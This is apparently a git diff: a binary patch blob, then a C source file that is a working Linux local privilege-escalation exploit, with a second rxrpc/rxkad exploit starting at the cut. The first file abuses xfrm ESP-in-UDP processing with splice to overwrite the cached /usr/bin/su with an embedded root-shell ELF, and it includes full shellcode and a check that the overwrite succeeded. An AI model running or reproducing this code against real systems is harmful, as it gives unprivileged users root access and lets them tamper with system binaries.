zrx9K~2c#5Jdan+bHGP4suYFQ}aLiegh4+(#^=(iD7b_7Li(28gda?2cbCip#xFR)YLh;!;7ymX+H0Ky77A`&yn<#jVH3}CWgmS%$pQZ>2R#ESlE+&d77k>(b zbnz!5OD_HxS>fWtoFf;1B#Oz!ABrrw_z;(qi%GO_@sWimx%g^fy>RglPjhX_#hXD& zE;j3G>XtRVl3Jqn8u^L1SiHk5-%I8w7PVp*uL5(Fi~?oFJL%b5@Q0?LVk=SeiFp;H}_g*;hpg>7GQwI&+V;C+O*n0;g1<$P&5K3 zj!_7j*9^SR5gVK(>uH1Y95y)5C9Hg|(X<|F6&AjRg|8RF+u(2^T#sPkIz+5+0}Edd z;pj9uWgR z1!1fKKaUmlc54P)BMf+nq*l$K5g)@aQ$-AT{VDbUzlHBNEGJSiednHR!0mf94_ptz zSOY$0(T$-WP$%JmL)g~CUFniozoCCy62A`OMpHHXrO<}H`s5A$TRhhFIhI2kdIESu zPZ{3OQ$}p)DR-(3z3WMenrcK%wb;-<3Q=UdenbCqI^ppChG-Bv$H7dTMu~hq8F!la zIhofT!O-PKJl(TKFm$VNVw!h$1S6inc_&3MT?EZV5lmMh=j;e3NnoO$8~S}0!=B1| z`d0W<=L6h#rJ9U~`_zf~ah#WO{G(<01=R2yoD88Eo{_|hb;O$_@nswahQCV^?8!8F z|B)o;5{Y_&xiNI&aSDbcpB3wY&?=Pq`9WA^eJWX(b z%6j5dR*uI^$ScnPi^5aYUF`MIc*RjI3ieRg*hu%AM#=+*BqBmPWS7_RpRp?8i{2 z+5b-|_;XRkiaESW1tVF=KJWO^HO0461 z>Woc-G*QOq`S4zltYm7nN8S{{$R242Mkq;K*+US6^K+)71_N*afanoH!v$PD>XPSi zP8xg$H8^+4ELaGauVt6-5?hxP_yEJmJ#^g#ubDt+b5~`i zfDibp2^pwbFUqnB>91NK%4$SetteY8$_ho<7E!iSlog3G4<+jM5x~;A=ioouQO8&8d6456E}vweUMBMPv$G@+o+wmH&IUOO}A5@#BWv#5vwVw zEMH46$HD>XTi$wz$6Imds5!bmhY_^>Mz7b-SDVP*L}m?3Tg&%Xr8LO8_lI}Aqz`1?{G36p%6pj$PXD!{3PsbdJ)e&19G zL8zLMa3EiS3`ysLI`kYlcc6hjK?C_3R$dn`>Ry0#s7I4%3rdugcogN6;~kSFCB=zs+E$7VV+cgxlI>6H*}SG`h-daKWZ3P5MZ%jdwu31v`)2ehqS z)Jt81%t2E~Y)OJWKF4wz?LebV4G7giRC{e-v*el-oh4tuai_2Zuh@$pi{@7mA@XB( zuxiP7_e)DwN$bgyX7!0<11n%lE;z}O(C26zT7&SvM1ez|s3onuG$!9$5- ze{JZOh3qISlM;X%VCeK~s&*#iRGjO>1qr5|r-C4p+ChKouCroJv-c82+zh%`86E^|o7 z-+;E2zmWEQ!=V&2thMvD0_|;~)`569Dd;HTA7+yjHfyYIE z{zU`%OH3ZDhs3LfUNjFDf;|P)8O?_K6}Xj1KLfb%K6FL&LT@XdbNAK>eux z777r**wyfF49nLg(eKPyZ^)Nvkrbp;Z|Yu_{AG1g&p@D7scHx}J+*L^d+f zOR}HQaOkr1>nB)@h3-O|i^bR^wCv5MW9niIjOt=+C;1Q;NP$9_>Q-V8pe@k<#hsp{ zJN`hUp&Hb5a1id|_=rVYhh2O(g$#bLc)9uJ^4+xjT2*YuKP^BsbWu-Tdod!|=UUta zk!!EV$fI)YB}=DAN>__gkCBXH<@k|mE~bUoCe)CBEJirhJC7D#TID<@X=U`nYdcIu z#TqadHt>>*ekVa`>5FPLL_8tZBsow(i!C9O7h7%If~e^T`tdUFkekboeS~3PrQX6j zFQDp?g}oyd(z*w70;c`CMNb|@Jijb{DPA(+X8`h7eOk(CSn^E;3$1dHh*b_U)M8u^ zy~=4r#jwi3a`P0;`4$X8t;O5iE3v-JsflgF!hg_+98y;{A*^i5&~KtvHkkQ%StI(R zz5~1o?PM{2PZg?ogwhrd_}#oM{PV3rLtZa(4faE8x!IGdc&lbQ5!+#!pc!q;0oQ0c zMokpnk1tH6Q8Q+Zc2F@lMT@DPumB;|UB*V328#HM7epA}hYP@nb+`x$YkaOdFyqJ& zeuTN`m%`)OmKPy*2^H!N?^3)Jak~*!4)ua#V8SqUAAIj%(nHhVKR73+&(q*; zu?5P!6P^sxFR0C|!H*7zxVz~WZtjD$RPlDl9EEq7u@3&3dMQSqEARst2mw6KqhFS< zKR`j)ssh+#8qgZ@&s92B8H^C$qD=kHP{uJ0!NiGE7~LmB=0(a|Jz&(7-ngPqdVBiM=?yhEBpGV#`12$g zZouJ+0f!VyHvMbe!AX=&|M`YX7bF?xndZ!#RO+$0ij@&d>?L?oMk4sL$nCw(=q4J93xWJOWYV5TfR0&7LwnYudCKnbYU$NC`bR3Y|XklHqCiFI_1tw&tdy z8Y9Py9iq@bL}InMhX`rbygW;3zN^^cwi*Ye*m&b4qr1>nRFvz;v$2dt1GI2Ton^W@XRc|^ z3Z%14^M;6q6xC4{T@;~{MDvCiXJ2`-(Pgt184*~MQoP+11RTd4i`B;$A);bQFV~(o z0%b-!LfK>Ylnq0OI;nxZBT~GV8VjuU5oGAHwD<8r&F&|YFJv3W|+_9R;$ zYQ`dmW;@wkbg7<00X%(q5ipZ6$fd?t%!t&`yrcGZr{J z#*`cLjLWShl<}$+BmRi7a~90Wo?^@`vcrKoYXrhL*EA((PS(7I5vve4;FrZSvu43& zNixGU-!vm)iX@?$8z-b_+QARM!cM(n;}VBgkRhb0Tr$i0p*|k3i(1l@IXyFL7Q(XB zY0LH4a9d!h4FyGL)}kWhZBC+fl~JcdxaVP%SW3~VvpLFV+<#8iM{b*JJaX$@WVta_ zlO)vSJBo^M_rU5dL!WXvN*rEyQJGXC9qY|=qH$d4iaMW0kQ@)uUJ>24bm*vd-Wc9btH-5i# z(t91Vo*8`FZIyMu`Ks6ddw;?~XI|@7`(FE(_x30AzDu69d6%_A%hX99FV*93_zbt9Kd12_q zkE;gW|9kG)9_zn1EqYq`koczb%{NeLeH>Urx z=AP>x%zb}w{)v~bPTA_8y0iJtK@)q;`KjOWxB8Ci-)2vK=)GT3+tLizk8F7V?0QpR z(eGQ1T>JFB-#OpiG4y5Y^A+ZsH=jS{&%uXNPwd|_T z_B%T?kGS_Aw^X!VGI;LL4wbj=J(k@%xpYMFwu--BSasy}>wa~7w82*L)!^OdyqdMK zTlp)Y!Gwa*y1eV-!T)^o;rYeq6(wBr#osOqEZsV!rPtY`-+sA%%-2`G|H9C+Yn~k0>!!mO zHx0b<-@b(v4QY?K-|KD8=sfJsillc=yMFWa&kerkioSgep~U4+H)fdpd%ymqd)d(Y zi!Q7B`1bPW9f#Y0Uo!pW0k<8y^`Cx5)-lNT<@ z+Wgz@{ZuyTv3d3O-AjKoq<(+qw2Ye5-`iZ3_3mru-+Aye z_eam~e&gv!cf9_2-HDzlH11>3l+ROvH6LqOV@i?Nhy|F-O;c~m@R9j$V=5&xM__=u za#Bj#$kPAn&uGm4?`a06xha<06=oGCV!seH~jdiOkXTYvWnBNs}gt0dj<^ zbSWm@8QCVIX+idk*;(_9skFRFPfJVV*~H~=c!n53j~QtwMoV7$7;Q4eLWWmD*|Vou zX3e(b%$jS?oMTc5RP#Jv(YVbkX<8TXG|EH2@kqrz#$rdFx5#EJ!Q5Zuu;y8p6xlA9 zmXd#Y99M~~UXO!_Ft0ANTa9_%;^MNCBzI%|^D^g5$J%6C)(n%vH}ITRw|lvmha65D z8pmy%GdnW*%SETh;V`<3F-xGNs0izDwjXxLa&Qqh445~rfEu~>DdIE|^htZ%bad9ro*ppo7I(DXuQ&rX-vh|31iUc zVPlLFCK(4#m@sgN(THvH664DB;bUw-bC(7wFRF+|a@$G^tzI`4st6AD{}PKe*W<;u zCsmAaZfB7_*JjMbsPNymi3~8kooH>%&dI8sV~1VBcBaL(bF#E^vdVpuow=vBbMpVv zPQ;*Q=M>e>al_JuL(?Wq=a0_bF~djOhK*DGIz`$$MU|qrw;MS&+hxnM(~iK%J7L}S z`Q)xOp_>t(fz-d05!|VH`@h8ME~K$v=iiZt1G&NQxa*d4mG4iLJQa(2Y6hzt~o}MY1 zp8v_Xl{pRFY=RNvme_A_{MVF>Ywj$<=TeX+)gdeD;9qVpyUx0Ks(o&?0al3OJ(zcu0+qWR~t!QsQj5L2`dprF;>8uL;Gc$M( z!hSQ}5=Qz-WqbRzNH1KCm)4M;b!&V3gGkGfZb5qD@8C!J;%(qZS`+|(M@6~fcJL$3 zy94}458|fQ3Zy^cM%RN#@5ZgOElB;ic7GUYHC|{qfiwvhpU%VK^!a#2d?M1BNUud& zj&udmLC=97=|7QfK|1RtTmwUD+}qyX8}FJugLE{~(fiul=OJBy)PwXTr1v2G6zK+} z_r2HNz8`7U{`U6cNWVG+{?6oah5s#KN)v9Jqa>6jC!E{8bC)H2;q|=snsZcII=hC602D2FApNhY>BJsOb z$nuAHuf^XX=<7+C%$~`&CQj+mDGLSxr1BN`YeYGpuB+vVxlBOi58^KgG4d7KR^#t* zB#{WHd<*^#AXe@|s+A`OHU7guoBxKGA^TPN9q#T(1V*4v;IF}padyEp(E|{ zeODr&_RT=~lenf%{~ULuyqD&m#VCIe_xBx9F?a*VAn{kAyanS3ewIeZ-&K=ejq*cy zJDE3FYWpo^^H_fa%ESLfc{9p?Mfp<@ui2OQs8&A(cF}9trBUT>E>8u{i1H6m{xZfX zjX(R&4tI168gB1Y*}22R290(GXs^fEwy$3t+WLN)-crzZe5<|vwkW+mt(^L7$$wE! zuc#kH`CvW2h1uCJ2T^_)<=5!T6LU2AZ74r;PkTFF5sK8SFv8y#^&NzAevYX6J@I9Y ze;mqRMfpp5{>10C@&zcL`F4Bz!+O7UxSyRx?OqD}TNuyz*927g9X4{@l1P}xk1i>! zrq9YDl!B&ID9rzFewtH+wrZJ@J@lC-4e2gG1d7Pe8zA)Az=N`)oGn15>1~mrUqYe} z%>nc|M=!F&i zN3toQcLi4UuQ6smm7sE#WafW}7I_uF8*f6;N42|EfC_bM`l$N6bG7S*D!^3%O^?^a7cVmFYB@&X;MvOqa>@ zR+-)_)2C#*Nv6AGdO)UM%2a4ol)`-?myp<@qoGshE_E9OJblWP3C7f^wk39Ji7|cj z@R7sQhNX`mBC{&@$!P*m9hL9#%1!i#`fq}AhGOOgj5f>xb832;`Vy6%N}3!mRcS_v zUmSzSPaZJ6I=-s(S;!<{bX=p>Qx?!nkf8L@#!Hoc1u~>p9j{gV8m8~9jlU}XU&x%Q zzFUDOIbmt19Cnm9SWdEHtVRZ(2L4u*_mC3(FOt4c;%Plcc*_L>@l~QoznA!FLj)|R z3FSA5KPd4u|I?=v8iwRJ>4#MD;k7!_GbFytNJc9`ktqEozDnYGU5>J$z$aifa!P-y zQQ-4M zqO6wqpv3d~8fEuOeD}))A+M{Et(N$083HfEQK^ym6`2B0ey0z;o=JYYX0m{J{fz8h ziT6wucwRRnOD|p#eQ27%tA6-h;yaiHzFH(oSF|U^=M&POvbmH#z>}QEB|Wd3!84fY zla&ezJo-Q`ebQC@dI78W%T)Z+(fBJ>{4>#bIwv4|8l*kEfC7nC#UGIL($E`J{D;wa zw~ALCDd|@LPxZQgj-WqF+JC3S*US}oUgsnGn8f#AAn?4tM|P9M53>rq`rzaZiN7ue zPv;w?Hz@H>2{z?Bi66B@AW9|vcZq*i;(6VUvfdrYKgr6Pje<~(|9-%e{ItIdJg>)* zO_%t(7`$2Hr>+t7gGHiTFY$#Ee~rW!OZ*OrA13iDB>p>zua)?KKC;I zY^5}&|2`z;{L3%sUJ{A&ti&&r72^dd-(Y-CW!Y#Una@j*eLoI;I1ZkEQ2kVXJJWD#d}VH9Q@aD z{P_vf_f)Pg6qfUzAK7o>$oV}EJ_&JkDtiXT!HcvdkeG zO>yv5aq#Qo;Opby-;IM0#limyyc*m33iQUoS+7K#mc>-=9K!1fW&WZ#_{-wpuL7Rp zO7$n2l|OW+<5cpMxw$S+`f!J0u~?VbEx5g}0O9s{^Ye%2;++eZt-y{eAufxj*pgd> zw+!5%#QO#XMUExbB1@jf;c{E7-clvkQS2ZMs_{}=3F{WOltHFgiwgK@w1qC)Tf{ve ziDb8W>GrbQTWql}i@-~PkoD8wcNTa2(NuIrKKk;r>J9ClwW7NKt;l;0xPtvR)g2P0 z5-L|g#KI|*&Wn;O(h`27`)*o_D&$+cPB9`q!a;zATVTpCDkf4~4W z#`rqK5^p|U8p+w+ti>1hpAmx{Z;3a#BRyt}lwDbLW*oz-S#M?kx8Hsm$TqU{A zvM3xbw#~Fe2AO#?r_c~Hk1m2jm>m~KM~;Fnm&bud);LFvQ!Mmbi5h~%!%a>bn}k5; zH%+3-m$^%vE?ghUkHR9x=ys~Z87)lqXpI!1l3U`5SU?If8s;uV%y>L@ozv1UA=f(X zc^WU#T5Ne%k5%CzkQ{-ih$;sQuGL1N=#pp@qR`_gaYteDyv~tP2!LW~TWU%(Jm zOd_KzRctGUOQMJJ91;ZL8?8DC`LHQ9UV=1r)UAE-5E_pO%mgad<@#TQLD&m5}G^ml&DCexPk9+7c5Ev#wxG7FbYMT zG~eYYjzVIN&4cZeAA(E{%kX&~83 z?@mP_mRs#7bp%f?szlRo6lDPoa+r4cMMF<6BEVVTif&!Tp2SFZxS}M9SJ0wReAPG# z!}4R?THwNqXEAM_>nJI~i(65=`MkP_LRl;rx72}{1~hfe6g8ZYQ==VbvE;(@mXcCW zVN9ITxL*`qe}pc^R!6kom@di|Tv^nvwnY`>)2o;oX4EKzMsBH<1|(|{ZnA47JX+B^ zQwnaWEsa9M1pFU`!n0g%3gt2tEv9IYv@dgV)-YN>vmmj075r)* z`mDuRUyyv#15;^M7>+)w49EJp7)v&}T>n2#==ndk&Ny=xpKLxa#XU2b8YNy$)O~^q z(_0p&mrt1DxMQ0+DfIn6LJ(6Ed)%yo3J<;kvSpe|6V-A(SM)Ip^swBpC zpFgqo(_;dfb4Bi1sB~)TL^<7AP+|4nf|{=Ty*Htzt&%X-e`@{x zl7F(KQ}1D@sZsim_=zXhe|G~%J|X+~V~kGElAxNz#?Kun(DNIOf>KTSuB6J06enE# zQPcYY>G@k_z^bWguVmBgSMiU<@T=!lYWnYDl~bguUKP7OhF`s>qoz0>i2B6V{{_jf zwx3ch$z_^MKM-zsj#ZCs9+nE3E&->feb%J%7b!L9M2{)xeQLRKKY* z-$6z{eyGp&)zqjG$~0F0Vc>h>Pj-9lxq6d)ZWOCeh1E0!Ub^a|@~iir4*n1MkAwIB z8z}9<^uy+#9zgX!fQBC|eZ%a9rGvRZy&xqp{RhqiIY4k=KZMqRP;e5aA4dNL${_29 zt($rQ)el;yjSOJ=U^HkxA6b6_beu8a5JZ;(vSuI~rVl2}1Jn!>gSo!}s=ooM-vMnf zNdcx2N((~mH$W4I>6b?n2e}mlkZCk8g5?)L?Oy?kTp*AIVmBa$xgS=3f$|s3?La0R ictHJ84jd0d1~7YJV!-o7vFhIsN|-<(g{A?G%K!jwDaDHb literal 0 HcmV?d00001 diff --git a/dirty-frag-2026/utils/test_dirty_frag_2026.c b/dirty-frag-2026/utils/test_dirty_frag_2026.c new file mode 100644 index 0000000..d8d5711 --- /dev/null +++ b/dirty-frag-2026/utils/test_dirty_frag_2026.c @@ -0,0 +1,1951 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef UDP_ENCAP +#define UDP_ENCAP 100 +#endif +#ifndef UDP_ENCAP_ESPINUDP +#define UDP_ENCAP_ESPINUDP 2 +#endif +#ifndef SOL_UDP +#define SOL_UDP 17 +#endif + +#define ENC_PORT 4500 +#define SEQ_VAL 200 +#define REPLAY_SEQ 100 +#define TARGET_PATH "/usr/bin/su" +#define PATCH_OFFSET 0 /* overwrite whole ELF starting at file[0] */ +#define PAYLOAD_LEN 192 /* bytes of shell_elf to write (48 triggers) */ +#define ENTRY_OFFSET 0x78 /* shellcode entry inside the new ELF */ + +/* + * 192-byte minimal x86_64 root-shell ELF. + * _start at 0x400078: + * setgid(0); setuid(0); setgroups(0, NULL); + * execve("/bin/sh", NULL, ["TERM=xterm", NULL]); + * PT_LOAD covers 0xb8 bytes (the actual content) at vaddr 0x400000 R+X. + * + * Setting TERM in the new shell's env silences the + * "tput: No value for $TERM" / "test: : integer expected" noise + * /etc/bash.bashrc and friends emit when TERM is unset. + * + * Code (from offset 0x78): + * 31 ff xor edi, edi + * 31 f6 xor esi, esi + * 31 c0 xor eax, eax + * b0 6a mov al, 0x6a ; setgid + * 0f 05 syscall + * b0 69 mov al, 0x69 ; setuid + * 0f 05 syscall + * b0 74 mov al, 0x74 ; setgroups + * 0f 05 syscall + * 6a 00 push 0 ; envp[1] = NULL + * 48 8d 05 12 00 00 00 lea rax, [rip+0x12] ; rax = "TERM=xterm" + * 50 push rax ; envp[0] + * 48 89 e2 mov rdx, rsp ; rdx = envp + * 48 8d 3d 12 00 00 00 lea rdi, [rip+0x12] ; rdi = "/bin/sh" + * 31 f6 xor esi, esi ; rsi = NULL (argv) + * 6a 3b 58 push 0x3b ; pop rax ; rax = 59 (execve) + * 0f 05 syscall ; execve("/bin/sh",NULL,envp) + * "TERM=xterm\0" (offset 0xa5..0xaf) + * "/bin/sh\0" (offset 0xb0..0xb7) + */ +static const uint8_t shell_elf[PAYLOAD_LEN] = { + 0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00, + 0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00, + 0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00, + 0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a, + 0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12, + 0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6, + 0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00, + 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, +}; + +extern int g_su_verbose; +int g_su_verbose = 0; +#define SLOG(fmt, ...) do { if (g_su_verbose) fprintf(stderr, "[su] " fmt "\n", ##__VA_ARGS__); } while (0) + +static int write_proc(const char *path, const char *buf) +{ + int fd = open(path, O_WRONLY); + if (fd < 0) return -1; + int n = write(fd, buf, strlen(buf)); + close(fd); + return n; +} + +static void setup_userns_netns(void) +{ + uid_t real_uid = getuid(); + gid_t real_gid = getgid(); + if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { + SLOG("unshare: %s", strerror(errno)); + exit(1); + } + write_proc("/proc/self/setgroups", "deny"); + char map[64]; + snprintf(map, sizeof(map), "0 %u 1", real_uid); + if (write_proc("/proc/self/uid_map", map) < 0) { + SLOG("uid_map: %s", strerror(errno)); exit(1); + } + snprintf(map, sizeof(map), "0 %u 1", real_gid); + if (write_proc("/proc/self/gid_map", map) < 0) { + SLOG("gid_map: %s", strerror(errno)); exit(1); + } + int s = socket(AF_INET, SOCK_DGRAM, 0); + if (s < 0) { SLOG("socket: %s", strerror(errno)); exit(1); } + struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, "lo", IFNAMSIZ); + if (ioctl(s, SIOCGIFFLAGS, &ifr) < 0) { SLOG("SIOCGIFFLAGS: %s", strerror(errno)); exit(1); } + ifr.ifr_flags |= IFF_UP | IFF_RUNNING; + if (ioctl(s, SIOCSIFFLAGS, &ifr) < 0) { SLOG("SIOCSIFFLAGS: %s", strerror(errno)); exit(1); } + close(s); +} + +static void put_attr(struct nlmsghdr *nlh, int type, const void *data, size_t len) +{ + struct rtattr *rta = (struct rtattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len)); + rta->rta_type = type; + rta->rta_len = RTA_LENGTH(len); + memcpy(RTA_DATA(rta), data, len); + nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + RTA_ALIGN(rta->rta_len); +} + +static int add_xfrm_sa(uint32_t spi, uint32_t patch_seqhi) +{ + int sk = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM); + if (sk < 0) return -1; + struct sockaddr_nl nl = { .nl_family = AF_NETLINK }; + if (bind(sk, (struct sockaddr*)&nl, sizeof(nl)) < 0) { close(sk); return -1; } + + char buf[4096] = {0}; + struct nlmsghdr *nlh = (struct nlmsghdr *)buf; + nlh->nlmsg_type = XFRM_MSG_NEWSA; + nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK; + nlh->nlmsg_pid = getpid(); + nlh->nlmsg_seq = 1; + nlh->nlmsg_len = NLMSG_LENGTH(sizeof(struct xfrm_usersa_info)); + + struct xfrm_usersa_info *xs = (struct xfrm_usersa_info *)NLMSG_DATA(nlh); + xs->id.daddr.a4 = inet_addr("127.0.0.1"); + xs->id.spi = htonl(spi); + xs->id.proto = IPPROTO_ESP; + xs->saddr.a4 = inet_addr("127.0.0.1"); + xs->family = AF_INET; + xs->mode = XFRM_MODE_TRANSPORT; + xs->replay_window = 0; + xs->reqid = 0x1234; + xs->flags = XFRM_STATE_ESN; + xs->lft.soft_byte_limit = (uint64_t)-1; + xs->lft.hard_byte_limit = (uint64_t)-1; + xs->lft.soft_packet_limit = (uint64_t)-1; + xs->lft.hard_packet_limit = (uint64_t)-1; + xs->sel.family = AF_INET; + xs->sel.prefixlen_d = 32; + xs->sel.prefixlen_s = 32; + xs->sel.daddr.a4 = inet_addr("127.0.0.1"); + xs->sel.saddr.a4 = inet_addr("127.0.0.1"); + + { + char alg_buf[sizeof(struct xfrm_algo_auth) + 32]; + memset(alg_buf, 0, sizeof(alg_buf)); + struct xfrm_algo_auth *aa = (struct xfrm_algo_auth *)alg_buf; + strncpy(aa->alg_name, "hmac(sha256)", sizeof(aa->alg_name)-1); + aa->alg_key_len = 32 * 8; + aa->alg_trunc_len = 128; + memset(aa->alg_key, 0xAA, 32); + put_attr(nlh, XFRMA_ALG_AUTH_TRUNC, alg_buf, sizeof(alg_buf)); + } + { + char alg_buf[sizeof(struct xfrm_algo) + 16]; + memset(alg_buf, 0, sizeof(alg_buf)); + struct xfrm_algo *ea = (struct xfrm_algo *)alg_buf; + strncpy(ea->alg_name, "cbc(aes)", sizeof(ea->alg_name)-1); + ea->alg_key_len = 16 * 8; + memset(ea->alg_key, 0xBB, 16); + put_attr(nlh, XFRMA_ALG_CRYPT, alg_buf, sizeof(alg_buf)); + } + { + struct xfrm_encap_tmpl enc; + memset(&enc, 0, sizeof(enc)); + enc.encap_type = UDP_ENCAP_ESPINUDP; + enc.encap_sport = htons(ENC_PORT); + enc.encap_dport = htons(ENC_PORT); + enc.encap_oa.a4 = 0; + put_attr(nlh, XFRMA_ENCAP, &enc, sizeof(enc)); + } + { + char esn_buf[sizeof(struct xfrm_replay_state_esn) + 4]; + memset(esn_buf, 0, sizeof(esn_buf)); + struct xfrm_replay_state_esn *esn = (struct xfrm_replay_state_esn *)esn_buf; + esn->bmp_len = 1; + esn->oseq = 0; + esn->seq = REPLAY_SEQ; + esn->oseq_hi = 0; + esn->seq_hi = patch_seqhi; + esn->replay_window = 32; + put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf)); + } + + if (send(sk, nlh, nlh->nlmsg_len, 0) < 0) { close(sk); return -1; } + char rbuf[4096]; + int n = recv(sk, rbuf, sizeof(rbuf), 0); + if (n < 0) { close(sk); return -1; } + struct nlmsghdr *rh = (struct nlmsghdr *)rbuf; + if (rh->nlmsg_type == NLMSG_ERROR) { + struct nlmsgerr *e = NLMSG_DATA(rh); + if (e->error) { close(sk); return -1; } + } + close(sk); + return 0; +} + +static int do_one_write(const char *path, off_t offset, uint32_t spi) +{ + int sk_recv = socket(AF_INET, SOCK_DGRAM, 0); + if (sk_recv < 0) return -1; + int one = 1; + setsockopt(sk_recv, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); + struct sockaddr_in sa_d = { + .sin_family = AF_INET, + .sin_port = htons(ENC_PORT), + .sin_addr = { inet_addr("127.0.0.1") }, + }; + if (bind(sk_recv, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { + close(sk_recv); return -1; + } + int encap = UDP_ENCAP_ESPINUDP; + if (setsockopt(sk_recv, IPPROTO_UDP, UDP_ENCAP, &encap, sizeof(encap)) < 0) { + close(sk_recv); return -1; + } + int sk_send = socket(AF_INET, SOCK_DGRAM, 0); + if (sk_send < 0) { close(sk_recv); return -1; } + if (connect(sk_send, (struct sockaddr*)&sa_d, sizeof(sa_d)) < 0) { + close(sk_send); close(sk_recv); return -1; + } + int file_fd = open(path, O_RDONLY); + if (file_fd < 0) { close(sk_send); close(sk_recv); return -1; } + + int pfd[2]; + if (pipe(pfd) < 0) { close(file_fd); close(sk_send); close(sk_recv); return -1; } + + uint8_t hdr[24]; + *(uint32_t*)(hdr + 0) = htonl(spi); + *(uint32_t*)(hdr + 4) = htonl(SEQ_VAL); + memset(hdr + 8, 0xCC, 16); + + struct iovec iov_h = { .iov_base = hdr, .iov_len = sizeof(hdr) }; + if (vmsplice(pfd[1], &iov_h, 1, 0) != (ssize_t)sizeof(hdr)) { + close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; + } + off_t off = offset; + ssize_t s = splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE); + if (s != 16) { + close(file_fd); close(pfd[0]); close(pfd[1]); close(sk_send); close(sk_recv); return -1; + } + s = splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE); + /* still proceed regardless of splice rc — kernel may have already + * decrypted the page in the time between splice and recv */ + usleep(150 * 1000); + + close(file_fd); close(pfd[0]); close(pfd[1]); + close(sk_send); close(sk_recv); + return s == 40 ? 0 : -1; +} + +static int verify_byte(const char *path, off_t offset, uint8_t want) +{ + int fd = open(path, O_RDONLY); + if (fd < 0) return -1; + uint8_t got; + if (pread(fd, &got, 1, offset) != 1) { close(fd); return -1; } + close(fd); + return got == want ? 0 : -1; +} + +static int corrupt_su(void) +{ + setup_userns_netns(); + usleep(100 * 1000); + + /* Install 40 xfrm SAs, one per 4-byte chunk. Each carries the + * desired payload word in its seq_hi field. */ + for (int i = 0; i < PAYLOAD_LEN / 4; i++) { + uint32_t spi = 0xDEADBE10 + i; + uint32_t seqhi = + ((uint32_t)shell_elf[i*4 + 0] << 24) | + ((uint32_t)shell_elf[i*4 + 1] << 16) | + ((uint32_t)shell_elf[i*4 + 2] << 8) | + ((uint32_t)shell_elf[i*4 + 3]); + if (add_xfrm_sa(spi, seqhi) < 0) { + SLOG("add_xfrm_sa #%d failed", i); + return -1; + } + } + SLOG("installed %d xfrm SAs", PAYLOAD_LEN / 4); + + for (int i = 0; i < PAYLOAD_LEN / 4; i++) { + uint32_t spi = 0xDEADBE10 + i; + off_t off = PATCH_OFFSET + i * 4; + if (do_one_write(TARGET_PATH, off, spi) < 0) { + SLOG("do_one_write #%d at off=0x%lx failed", i, (long)off); + return -1; + } + } + SLOG("wrote %d bytes to %s starting at 0x%x", + PAYLOAD_LEN, TARGET_PATH, PATCH_OFFSET); + return 0; +} + +int su_lpe_main(int argc, char **argv) +{ + for (int i = 1; i < argc; i++) { + if (!strcmp(argv[i], "-v") || !strcmp(argv[i], "--verbose")) + g_su_verbose = 1; + else if (!strcmp(argv[i], "--corrupt-only")) + ; /* compat: this body always corrupts only */ + } + if (getenv("DIRTYFRAG_VERBOSE")) g_su_verbose = 1; + + pid_t cpid = fork(); + if (cpid < 0) return 1; + if (cpid == 0) { + int rc = corrupt_su(); + _exit(rc == 0 ? 0 : 2); + } + int cstatus; + waitpid(cpid, &cstatus, 0); + if (!WIFEXITED(cstatus) || WEXITSTATUS(cstatus) != 0) { + SLOG("corruption stage failed (status=0x%x)", cstatus); + return 1; + } + + /* Sanity check: bytes at the embedded ELF entry (file offset 0x78 + * after our overwrite) should be 0x31 0xff (xor edi, edi — first + * instruction of the new shellcode). */ + if (verify_byte(TARGET_PATH, ENTRY_OFFSET, 0x31) != 0 || + verify_byte(TARGET_PATH, ENTRY_OFFSET + 1, 0xff) != 0) { + SLOG("post-write verify failed (target unchanged)"); + return 1; + } + SLOG("/usr/bin/su page-cache patched (entry 0x%x = shellcode)", + ENTRY_OFFSET); + return 0; +} +/* + * rxrpc/rxkad LPE — uid=1000 → root + */ + +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef AF_RXRPC +#define AF_RXRPC 33 +#endif +#ifndef PF_RXRPC +#define PF_RXRPC AF_RXRPC +#endif +#ifndef SOL_RXRPC +#define SOL_RXRPC 272 +#endif +#ifndef SOL_ALG 